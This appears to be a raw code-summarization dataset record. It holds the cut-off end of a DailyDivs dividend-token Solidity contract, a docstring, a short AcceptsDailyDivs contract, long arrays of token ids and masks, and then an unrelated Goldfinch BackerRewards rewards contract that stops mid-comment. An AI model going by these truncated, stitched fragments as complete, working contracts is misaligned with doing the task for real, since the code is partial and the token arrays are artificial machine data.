(_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[msg.sender] += _updatedPayouts; // fire event onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
* Definition of contract accepting DailyDivs tokens DDT Lending and other games can reuse this contract to support DailyDivs tokens/
contract AcceptsDailyDivs { DailyDivs public tokenContract; function AcceptsDailyDivs(address _tokenContract) public { tokenContract = DailyDivs(_tokenContract); } modifier onlyTokenContract { require(msg.sender == address(tokenContract)); _; } }
14,587,142
[ 1, 1852, 434, 6835, 25806, 463, 12857, 7244, 87, 2430, 463, 9081, 511, 2846, 471, 1308, 28422, 848, 11827, 333, 6835, 358, 2865, 463, 12857, 7244, 87, 2430, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 27158, 40, 12857, 7244, 87, 288, 203, 565, 463, 12857, 7244, 87, 1071, 1147, 8924, 31, 203, 203, 203, 565, 445, 27158, 40, 12857, 7244, 87, 12, 2867, 389, 2316, 8924, 13, 1071, 288, 203, 3639, 1147, 8924, 273, 463, 12857, 7244, 87, 24899, 2316, 8924, 1769, 203, 565, 289, 203, 203, 565, 9606, 1338, 1345, 8924, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 1758, 12, 2316, 8924, 10019, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/Math.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@uniswap/lib/contracts/libraries/Babylonian.sol"; import "../library/SafeERC20Transfer.sol"; import "../protocol/core/ConfigHelper.sol"; import "../protocol/core/BaseUpgradeablePausable.sol"; import "../interfaces/IPoolTokens.sol"; import "../interfaces/IStakingRewards.sol"; import "../interfaces/ITranchedPool.sol"; import "../interfaces/IBackerRewards.sol"; import "../interfaces/ISeniorPool.sol"; import "../interfaces/IEvents.sol"; // Basically, Every time a interest payment comes back // we keep a running total of dollars (totalInterestReceived) until it reaches the maxInterestDollarsEligible limit // Every dollar of interest received from 0->maxInterestDollarsEligible // has a allocated amount of rewards based on a sqrt function. // When a interest payment comes in for a given Pool or the pool balance increases // we recalculate the pool's accRewardsPerPrincipalDollar // equation ref `_calculateNewGrossGFIRewardsForInterestAmount()`: // (sqrtNewTotalInterest - sqrtOrigTotalInterest) / sqrtMaxInterestDollarsEligible * (totalRewards / totalGFISupply) // When a PoolToken is minted, we set the mint price to the pool's current accRewardsPerPrincipalDollar // Every time a PoolToken withdraws rewards, we determine the allocated rewards, // increase that PoolToken's rewardsClaimed, and transfer the owner the gfi contract BackerRewards is IBackerRewards, BaseUpgradeablePausable, SafeERC20Transfer, IEvents { GoldfinchConfig public config; using ConfigHelper for GoldfinchConfig; using SafeMath for uint256; uint256 internal constant GFI_MANTISSA = 10**18; uint256 internal constant FIDU_MANTISSA = 10**18; uint256 internal constant USDC_MANTISSA = 10**6; uint256 internal constant NUM_TRANCHES_PER_SLICE = 2; struct BackerRewardsInfo { uint256 accRewardsPerPrincipalDollar; // accumulator gfi per interest dollar } struct BackerRewardsTokenInfo { uint256 rewardsClaimed; // gfi claimed uint256 accRewardsPerPrincipalDollarAtMint; // Pool's accRewardsPerPrincipalDollar at PoolToken mint() } /// @notice Staking rewards parameters relevant to a TranchedPool struct StakingRewardsPoolInfo { // @notice the value `StakingRewards.accumulatedRewardsPerToken()` at the last checkpoint uint256 accumulatedRewardsPerTokenAtLastCheckpoint; // @notice last time the rewards info was updated // // we need this in order to know how much to pro rate rewards after the term is over. uint256 lastUpdateTime; // @notice staking rewards parameters for each slice of the tranched pool StakingRewardsSliceInfo[] slicesInfo; } /// @notice Staking rewards paramters relevant to a TranchedPool slice struct StakingRewardsSliceInfo { // @notice fidu share price when the slice is first drawn down // // we need to save this to calculate what an equivalent position in // the senior pool would be at the time the slice is downdown uint256 fiduSharePriceAtDrawdown; // @notice the amount of principal deployed at the last checkpoint // // we use this to calculate the amount of principal that should // acctually accrue rewards during between the last checkpoint and // and subsequent updates uint256 principalDeployedAtLastCheckpoint; // @notice the value of StakingRewards.accumulatedRewardsPerToken() at time of drawdown // // we need to keep track of this to use this as a base value to accumulate rewards // for tokens. If the token has never claimed staking rewards, we use this value // and the current staking rewards accumulator uint256 accumulatedRewardsPerTokenAtDrawdown; // @notice amount of rewards per token accumulated over the lifetime of the slice that a backer // can claim uint256 accumulatedRewardsPerTokenAtLastCheckpoint; // @notice the amount of rewards per token accumulated over the lifetime of the slice // // this value is "unrealized" because backers will be unable to claim against this value. // we keep this value so that we can always accumulate rewards for the amount of capital // deployed at any point in time, but not allow backers to withdraw them until a payment // is made. For example: we want to accumulate rewards when a backer does a drawdown. but // a backer shouldn't be allowed to claim rewards until a payment is made. // // this value is scaled depending on the current proportion of capital currently deployed // in the slice. For example, if the staking rewards contract accrued 10 rewards per token // between the current checkpoint and a new update, and only 20% of the capital was deployed // during that period, we would accumulate 2 (10 * 20%) rewards. uint256 unrealizedAccumulatedRewardsPerTokenAtLastCheckpoint; } /// @notice Staking rewards parameters relevant to a PoolToken struct StakingRewardsTokenInfo { // @notice the amount of rewards accumulated the last time a token's rewards were withdrawn uint256 accumulatedRewardsPerTokenAtLastWithdraw; } /// @notice total amount of GFI rewards available, times 1e18 uint256 public totalRewards; /// @notice interest $ eligible for gfi rewards, times 1e18 uint256 public maxInterestDollarsEligible; /// @notice counter of total interest repayments, times 1e6 uint256 public totalInterestReceived; /// @notice totalRewards/totalGFISupply * 100, times 1e18 uint256 public totalRewardPercentOfTotalGFI; /// @notice poolTokenId -> BackerRewardsTokenInfo mapping(uint256 => BackerRewardsTokenInfo) public tokens; /// @notice pool.address -> BackerRewardsInfo mapping(address => BackerRewardsInfo) public pools; /// @notice Staking rewards info for each pool mapping(ITranchedPool => StakingRewardsPoolInfo) public poolStakingRewards; // pool.address -> StakingRewardsPoolInfo /// @notice Staking rewards info for each pool token mapping(uint256 => StakingRewardsTokenInfo) public tokenStakingRewards; // solhint-disable-next-line func-name-mixedcase function __initialize__(address owner, GoldfinchConfig _config) public initializer { require(owner != address(0) && address(_config) != address(0), "Owner and config addresses cannot be empty"); __BaseUpgradeablePausable__init(owner); config = _config; } /// @notice intialize the first slice of a StakingRewardsPoolInfo /// @dev this is _only_ meant to be called on pools that didnt qualify for the backer rewards airdrop /// but were deployed before this contract. function forceInitializeStakingRewardsPoolInfo( ITranchedPool pool, uint256 fiduSharePriceAtDrawdown, uint256 principalDeployedAtDrawdown, uint256 rewardsAccumulatorAtDrawdown ) external onlyAdmin { require(config.getPoolTokens().validPool(address(pool)), "Invalid pool!"); require(fiduSharePriceAtDrawdown != 0, "Invalid: 0"); require(principalDeployedAtDrawdown != 0, "Invalid: 0"); require(rewardsAccumulatorAtDrawdown != 0, "Invalid: 0"); StakingRewardsPoolInfo storage poolInfo = poolStakingRewards[pool]; require(poolInfo.slicesInfo.length <= 1, "trying to overwrite multi slice rewards info!"); // NOTE: making this overwrite behavior to make it so that we have // an escape hatch in case the incorrect value is set for some reason bool firstSliceHasAlreadyBeenInitialized = poolInfo.slicesInfo.length != 0; poolInfo.accumulatedRewardsPerTokenAtLastCheckpoint = rewardsAccumulatorAtDrawdown; StakingRewardsSliceInfo memory sliceInfo = _initializeStakingRewardsSliceInfo( fiduSharePriceAtDrawdown, principalDeployedAtDrawdown, rewardsAccumulatorAtDrawdown ); if (firstSliceHasAlreadyBeenInitialized) { poolInfo.slicesInfo[0] = sliceInfo; } else { poolInfo.slicesInfo.push(sliceInfo); } } /** * @notice Calculates the accRewardsPerPrincipalDollar for a given pool, * when a interest payment is received by the protocol * @param _interestPaymentAmount The amount of total dollars the interest payment, expects 10^6 value */ function allocateRewards(uint256 _interestPaymentAmount) external override onlyPool nonReentrant { // note: do not use a require statment because that will TranchedPool kill execution if (_interestPaymentAmount > 0) { _allocateRewards(_interestPaymentAmount); } _allocateStakingRewards(); } /** * @notice Set the total gfi rewards and the % of total GFI * @param _totalRewards The amount of GFI rewards available, expects 10^18 value */ function setTotalRewards(uint256 _totalRewards) public onlyAdmin { totalRewards = _totalRewards; uint256 totalGFISupply = config.getGFI().totalSupply(); totalRewardPercentOfTotalGFI = _totalRewards.mul(GFI_MANTISSA).div(totalGFISupply).mul(100); emit BackerRewardsSetTotalRewards(_msgSender(), _totalRewards, totalRewardPercentOfTotalGFI); } /** * @notice Set the total interest received to date. * This should only be called once on contract deploy. * @param _totalInterestReceived The amount of interest the protocol has received to date, expects 10^6 value */ function setTotalInterestReceived(uint256 _totalInterestReceived) public onlyAdmin { totalInterestReceived = _totalInterestReceived; emit BackerRewardsSetTotalInterestReceived(_msgSender(), _totalInterestReceived); } /** * @notice Set the max dollars across the entire protocol that are eligible for GFI rewards * @param _maxInterestDollarsEligible The amount of interest dollars eligible for GFI rewards, expects 10^18 value */ function setMaxInterestDollarsEligible(uint256 _maxInterestDollarsEligible) public onlyAdmin { maxInterestDollarsEligible = _maxInterestDollarsEligible; emit BackerRewardsSetMaxInterestDollarsEligible(_msgSender(), _maxInterestDollarsEligible); } /** * @notice When a pool token is minted for multiple drawdowns, * set accRewardsPerPrincipalDollarAtMint to the current accRewardsPerPrincipalDollar price * @param tokenId Pool token id */ function setPoolTokenAccRewardsPerPrincipalDollarAtMint(address poolAddress, uint256 tokenId) external override { require(_msgSender() == config.poolTokensAddress(), "Invalid sender!"); require(config.getPoolTokens().validPool(poolAddress), "Invalid pool!"); if (tokens[tokenId].accRewardsPerPrincipalDollarAtMint != 0) { return; } IPoolTokens poolTokens = config.getPoolTokens(); IPoolTokens.TokenInfo memory tokenInfo = poolTokens.getTokenInfo(tokenId); require(poolAddress == tokenInfo.pool, "PoolAddress must equal PoolToken pool address"); tokens[tokenId].accRewardsPerPrincipalDollarAtMint = pools[tokenInfo.pool].accRewardsPerPrincipalDollar; } /// @notice callback for TranchedPools when they drawdown /// @dev initializes rewards info for the calling TranchedPool function onTranchedPoolDrawdown(uint256 sliceIndex) external override onlyPool nonReentrant { ITranchedPool pool = ITranchedPool(_msgSender()); IStakingRewards stakingRewards = _getUpdatedStakingRewards(); StakingRewardsPoolInfo storage poolInfo = poolStakingRewards[pool]; ITranchedPool.TrancheInfo memory juniorTranche = _getJuniorTrancheForTranchedPoolSlice(pool, sliceIndex); uint256 newRewardsAccumulator = stakingRewards.accumulatedRewardsPerToken(); // On the first drawdown in the lifetime of the pool, we need to initialize // the pool local accumulator bool poolRewardsHaventBeenInitialized = !_poolStakingRewardsInfoHaveBeenInitialized(poolInfo); if (poolRewardsHaventBeenInitialized) { _updateStakingRewardsPoolInfoAccumulator(poolInfo, newRewardsAccumulator); } bool isNewSlice = !_sliceRewardsHaveBeenInitialized(pool, sliceIndex); if (isNewSlice) { ISeniorPool seniorPool = ISeniorPool(config.seniorPoolAddress()); uint256 principalDeployedAtDrawdown = _getPrincipalDeployedForTranche(juniorTranche); uint256 fiduSharePriceAtDrawdown = seniorPool.sharePrice(); // initialize new slice params StakingRewardsSliceInfo memory sliceInfo = _initializeStakingRewardsSliceInfo( fiduSharePriceAtDrawdown, principalDeployedAtDrawdown, newRewardsAccumulator ); poolStakingRewards[pool].slicesInfo.push(sliceInfo); } else { // otherwise, its nth drawdown of the slice // we need to checkpoint the values here to account for the amount of principal // that was at risk between the last checkpoint and now, but we don't publish // because backer's shouldn't be able to claim rewards for a drawdown. _checkpointSliceStakingRewards(pool, sliceIndex, false); } _updateStakingRewardsPoolInfoAccumulator(poolInfo, newRewardsAccumulator); } /** * @notice Calculate the gross available gfi rewards for a PoolToken * @param tokenId Pool token id * @return The amount of GFI claimable */ function poolTokenClaimableRewards(uint256 tokenId) public view returns (uint256) { IPoolTokens poolTokens = config.getPoolTokens(); IPoolTokens.TokenInfo memory tokenInfo = poolTokens.getTokenInfo(tokenId); if (_isSeniorTrancheToken(tokenInfo)) { return 0; } // Note: If a TranchedPool is oversubscribed, reward allocations scale down proportionately. uint256 diffOfAccRewardsPerPrincipalDollar = pools[tokenInfo.pool].accRewardsPerPrincipalDollar.sub( tokens[tokenId].accRewardsPerPrincipalDollarAtMint ); uint256 rewardsClaimed = tokens[tokenId].rewardsClaimed.mul(GFI_MANTISSA); /* equation for token claimable rewards: token.principalAmount * (pool.accRewardsPerPrincipalDollar - token.accRewardsPerPrincipalDollarAtMint) - token.rewardsClaimed */ return _usdcToAtomic(tokenInfo.principalAmount).mul(diffOfAccRewardsPerPrincipalDollar).sub(rewardsClaimed).div( GFI_MANTISSA ); } /** * @notice Calculates the amount of staking rewards already claimed for a PoolToken. * This function is provided for the sake of external (e.g. frontend client) consumption; * it is not necessary as an input to the mutative calculations in this contract. * @param tokenId Pool token id * @return The amount of GFI claimed */ function stakingRewardsClaimed(uint256 tokenId) external view returns (uint256) { IPoolTokens poolTokens = config.getPoolTokens(); IPoolTokens.TokenInfo memory poolTokenInfo = poolTokens.getTokenInfo(tokenId); if (_isSeniorTrancheToken(poolTokenInfo)) { return 0; } ITranchedPool pool = ITranchedPool(poolTokenInfo.pool); uint256 sliceIndex = _juniorTrancheIdToSliceIndex(poolTokenInfo.tranche); if (!_poolRewardsHaveBeenInitialized(pool) || !_sliceRewardsHaveBeenInitialized(pool, sliceIndex)) { return 0; } StakingRewardsPoolInfo memory poolInfo = poolStakingRewards[pool]; StakingRewardsSliceInfo memory sliceInfo = poolInfo.slicesInfo[sliceIndex]; StakingRewardsTokenInfo memory tokenInfo = tokenStakingRewards[tokenId]; uint256 sliceAccumulator = sliceInfo.accumulatedRewardsPerTokenAtDrawdown; uint256 tokenAccumulator = _getTokenAccumulatorAtLastWithdraw(tokenInfo, sliceInfo); uint256 rewardsPerFidu = tokenAccumulator.sub(sliceAccumulator); uint256 principalAsFidu = _fiduToUsdc(poolTokenInfo.principalAmount, sliceInfo.fiduSharePriceAtDrawdown); uint256 rewards = principalAsFidu.mul(rewardsPerFidu).div(FIDU_MANTISSA); return rewards; } /** * @notice PoolToken request to withdraw multiple PoolTokens allocated rewards * @param tokenIds Array of pool token id */ function withdrawMultiple(uint256[] calldata tokenIds) public { require(tokenIds.length > 0, "TokensIds length must not be 0"); for (uint256 i = 0; i < tokenIds.length; i++) { withdraw(tokenIds[i]); } } /** * @notice PoolToken request to withdraw all allocated rewards * @param tokenId Pool token id */ function withdraw(uint256 tokenId) public whenNotPaused nonReentrant { IPoolTokens poolTokens = config.getPoolTokens(); IPoolTokens.TokenInfo memory tokenInfo = poolTokens.getTokenInfo(tokenId); address poolAddr = tokenInfo.pool; require(config.getPoolTokens().validPool(poolAddr), "Invalid pool!"); require(msg.sender == poolTokens.ownerOf(tokenId), "Must be owner of PoolToken"); BaseUpgradeablePausable pool = BaseUpgradeablePausable(poolAddr); require(!pool.paused(), "Pool withdraw paused"); ITranchedPool tranchedPool = ITranchedPool(poolAddr); require(!tranchedPool.creditLine().isLate(), "Pool is late on payments"); require(!_isSeniorTrancheToken(tokenInfo), "Ineligible senior tranche token"); uint256 claimableBackerRewards = poolTokenClaimableRewards(tokenId); uint256 claimableStakingRewards = stakingRewardsEarnedSinceLastWithdraw(tokenId); uint256 totalClaimableRewards = claimableBackerRewards.add(claimableStakingRewards); uint256 poolTokenRewardsClaimed = tokens[tokenId].rewardsClaimed; // Only account for claimed backer rewards, the staking rewards should not impact the // distribution of backer rewards tokens[tokenId].rewardsClaimed = poolTokenRewardsClaimed.add(claimableBackerRewards); if (claimableStakingRewards != 0) { _checkpointTokenStakingRewards(tokenId); } safeERC20Transfer(config.getGFI(), poolTokens.ownerOf(tokenId), totalClaimableRewards); emit BackerRewardsClaimed(_msgSender(), tokenId, claimableBackerRewards, claimableStakingRewards); } /** * @notice Returns the amount of staking rewards earned by a given token since the last * time its staking rewards were withdrawn. * @param tokenId token id to get rewards * @return amount of rewards */ function stakingRewardsEarnedSinceLastWithdraw(uint256 tokenId) public view returns (uint256) { IPoolTokens.TokenInfo memory poolTokenInfo = config.getPoolTokens().getTokenInfo(tokenId); if (_isSeniorTrancheToken(poolTokenInfo)) { return 0; } ITranchedPool pool = ITranchedPool(poolTokenInfo.pool); uint256 sliceIndex = _juniorTrancheIdToSliceIndex(poolTokenInfo.tranche); if (!_poolRewardsHaveBeenInitialized(pool) || !_sliceRewardsHaveBeenInitialized(pool, sliceIndex)) { return 0; } StakingRewardsPoolInfo memory poolInfo = poolStakingRewards[pool]; StakingRewardsSliceInfo memory sliceInfo = poolInfo.slicesInfo[sliceIndex]; StakingRewardsTokenInfo memory tokenInfo = tokenStakingRewards[tokenId]; uint256 sliceAccumulator = _getSliceAccumulatorAtLastCheckpoint(sliceInfo, poolInfo); uint256 tokenAccumulator = _getTokenAccumulatorAtLastWithdraw(tokenInfo, sliceInfo); uint256 rewardsPerFidu = sliceAccumulator.sub(tokenAccumulator); uint256 principalAsFidu = _fiduToUsdc(poolTokenInfo.principalAmount, sliceInfo.fiduSharePriceAtDrawdown); uint256 rewards = principalAsFidu.mul(rewardsPerFidu).div(FIDU_MANTISSA); return rewards; } /* Internal functions */ function _allocateRewards(uint256 _interestPaymentAmount) internal { uint256 _totalInterestReceived = totalInterestReceived; if (_usdcToAtomic(_totalInterestReceived) >= maxInterestDollarsEligible) { return; } address _poolAddress = _msgSender(); // Gross GFI Rewards earned for incoming interest dollars uint256 newGrossRewards = _calculateNewGrossGFIRewardsForInterestAmount(_interestPaymentAmount); ITranchedPool pool = ITranchedPool(_poolAddress); BackerRewardsInfo storage _poolInfo = pools[_poolAddress]; uint256 totalJuniorDepositsAtomic = _usdcToAtomic(pool.totalJuniorDeposits()); // If total junior deposits are 0, or less than 1, allocate no rewards. The latter condition // is necessary to prevent a perverse, "infinite mint" scenario in which we'd allocate // an even greater amount of rewards than `newGrossRewards`, due to dividing by less than 1. // This scenario and its mitigation are analogous to that of // `StakingRewards.additionalRewardsPerTokenSinceLastUpdate()`. if (totalJuniorDepositsAtomic < GFI_MANTISSA) { emit SafetyCheckTriggered(); return; } // example: (6708203932437400000000 * 10^18) / (100000*10^18) _poolInfo.accRewardsPerPrincipalDollar = _poolInfo.accRewardsPerPrincipalDollar.add( newGrossRewards.mul(GFI_MANTISSA).div(totalJuniorDepositsAtomic) ); totalInterestReceived = _totalInterestReceived.add(_interestPaymentAmount); } function _allocateStakingRewards() internal { ITranchedPool pool = ITranchedPool(_msgSender()); // only accrue rewards on a full repayment IV2CreditLine cl = pool.creditLine(); bool wasFullRepayment = cl.lastFullPaymentTime() > 0 && cl.lastFullPaymentTime() <= block.timestamp && cl.principalOwed() == 0 && cl.interestOwed() == 0; if (wasFullRepayment) { // in the case of a full repayment, we want to checkpoint rewards and make them claimable // to backers by publishing _checkpointPoolStakingRewards(pool, true); } } /** * @notice Checkpoints staking reward accounting for a given pool. * @param pool pool to checkpoint * @param publish if true, the updated rewards values will be immediately available for * backers to withdraw. otherwise, the accounting will be updated but backers * will not be able to withdraw */ function _checkpointPoolStakingRewards(ITranchedPool pool, bool publish) internal { IStakingRewards stakingRewards = _getUpdatedStakingRewards(); uint256 newStakingRewardsAccumulator = stakingRewards.accumulatedRewardsPerToken(); StakingRewardsPoolInfo storage poolInfo = poolStakingRewards[pool]; // If for any reason the new accumulator is less than our last one, abort for safety. if (newStakingRewardsAccumulator < poolInfo.accumulatedRewardsPerTokenAtLastCheckpoint) { emit SafetyCheckTriggered(); return; } // iterate through all of the slices and checkpoint for (uint256 sliceIndex = 0; sliceIndex < poolInfo.slicesInfo.length; sliceIndex++) { _checkpointSliceStakingRewards(pool, sliceIndex, publish); } _updateStakingRewardsPoolInfoAccumulator(poolInfo, newStakingRewardsAccumulator); } /** * @notice checkpoint the staking rewards accounting for a single tranched pool slice * @param pool pool that the slice belongs to * @param sliceIndex index of slice to checkpoint rewards accounting for * @param publish if true, the updated rewards values will be immediately available for * backers to withdraw. otherwise, the accounting will be updated but backers * will not be able to withdraw */ function _checkpointSliceStakingRewards( ITranchedPool pool, uint256 sliceIndex, bool publish ) internal { StakingRewardsPoolInfo storage poolInfo = poolStakingRewards[pool]; StakingRewardsSliceInfo storage sliceInfo = poolInfo.slicesInfo[sliceIndex]; IStakingRewards stakingRewards = _getUpdatedStakingRewards(); ITranchedPool.TrancheInfo memory juniorTranche = _getJuniorTrancheForTranchedPoolSlice(pool, sliceIndex); uint256 newStakingRewardsAccumulator = stakingRewards.accumulatedRewardsPerToken(); // If for any reason the new accumulator is less than our last one, abort for safety. if (newStakingRewardsAccumulator < poolInfo.accumulatedRewardsPerTokenAtLastCheckpoint) { emit SafetyCheckTriggered(); return; } uint256 rewardsAccruedSinceLastCheckpoint = newStakingRewardsAccumulator.sub( poolInfo.accumulatedRewardsPerTokenAtLastCheckpoint ); // We pro rate rewards if we're beyond the term date by approximating // taking the current reward rate and multiplying it by the time // that we left in the term divided by the time since we last updated bool shouldProRate = block.timestamp > pool.creditLine().termEndTime(); if (shouldProRate) { rewardsAccruedSinceLastCheckpoint = _calculateProRatedRewardsForPeriod( rewardsAccruedSinceLastCheckpoint, poolInfo.lastUpdateTime, block.timestamp, pool.creditLine().termEndTime() ); } uint256 newPrincipalDeployed = _getPrincipalDeployedForTranche(juniorTranche); // the percentage we need to scale the rewards accumualated by uint256 deployedScalingFactor = _usdcToAtomic( sliceInfo.principalDeployedAtLastCheckpoint.mul(USDC_MANTISSA).div(juniorTranche.principalDeposited) ); uint256 scaledRewardsForPeriod = rewardsAccruedSinceLastCheckpoint.mul(deployedScalingFactor).div(FIDU_MANTISSA); sliceInfo.unrealizedAccumulatedRewardsPerTokenAtLastCheckpoint = sliceInfo .unrealizedAccumulatedRewardsPerTokenAtLastCheckpoint .add(scaledRewardsForPeriod); sliceInfo.principalDeployedAtLastCheckpoint = newPrincipalDeployed; if (publish) { sliceInfo.accumulatedRewardsPerTokenAtLastCheckpoint = sliceInfo .unrealizedAccumulatedRewardsPerTokenAtLastCheckpoint; } } /** * @notice Updates the staking rewards accounting for for a given tokenId * @param tokenId token id to checkpoint */ function _checkpointTokenStakingRewards(uint256 tokenId) internal { IPoolTokens poolTokens = config.getPoolTokens(); IPoolTokens.TokenInfo memory tokenInfo = poolTokens.getTokenInfo(tokenId); require(!_isSeniorTrancheToken(tokenInfo), "Ineligible senior tranche token"); ITranchedPool pool = ITranchedPool(tokenInfo.pool); StakingRewardsPoolInfo memory poolInfo = poolStakingRewards[pool]; uint256 sliceIndex = _juniorTrancheIdToSliceIndex(tokenInfo.tranche); StakingRewardsSliceInfo memory sliceInfo = poolInfo.slicesInfo[sliceIndex]; uint256 newAccumulatedRewardsPerTokenAtLastWithdraw = _getSliceAccumulatorAtLastCheckpoint(sliceInfo, poolInfo); // If for any reason the new accumulator is less than our last one, abort for safety. if ( newAccumulatedRewardsPerTokenAtLastWithdraw < tokenStakingRewards[tokenId].accumulatedRewardsPerTokenAtLastWithdraw ) { emit SafetyCheckTriggered(); return; } tokenStakingRewards[tokenId].accumulatedRewardsPerTokenAtLastWithdraw = newAccumulatedRewardsPerTokenAtLastWithdraw; } /** * @notice Calculate the rewards earned for a given interest payment * @param _interestPaymentAmount interest payment amount times 1e6 */ function _calculateNewGrossGFIRewardsForInterestAmount(uint256 _interestPaymentAmount) internal view returns (uint256) { uint256 totalGFISupply = config.getGFI().totalSupply(); // incoming interest payment, times * 1e18 divided by 1e6 uint256 interestPaymentAmount = _usdcToAtomic(_interestPaymentAmount); // all-time interest payments prior to the incoming amount, times 1e18 uint256 _previousTotalInterestReceived = _usdcToAtomic(totalInterestReceived); uint256 sqrtOrigTotalInterest = Babylonian.sqrt(_previousTotalInterestReceived); // sum of new interest payment + previous total interest payments, times 1e18 uint256 newTotalInterest = _usdcToAtomic( _atomicToUsdc(_previousTotalInterestReceived).add(_atomicToUsdc(interestPaymentAmount)) ); // interest payment passed the maxInterestDollarsEligible cap, should only partially be rewarded if (newTotalInterest > maxInterestDollarsEligible) { newTotalInterest = maxInterestDollarsEligible; } /* equation: (sqrtNewTotalInterest-sqrtOrigTotalInterest) * totalRewardPercentOfTotalGFI / sqrtMaxInterestDollarsEligible / 100 * totalGFISupply / 10^18 example scenario: - new payment = 5000*10^18 - original interest received = 0*10^18 - total reward percent = 3 * 10^18 - max interest dollars = 1 * 10^27 ($1 billion) - totalGfiSupply = 100_000_000 * 10^18 example math: (70710678118 - 0) * 3000000000000000000 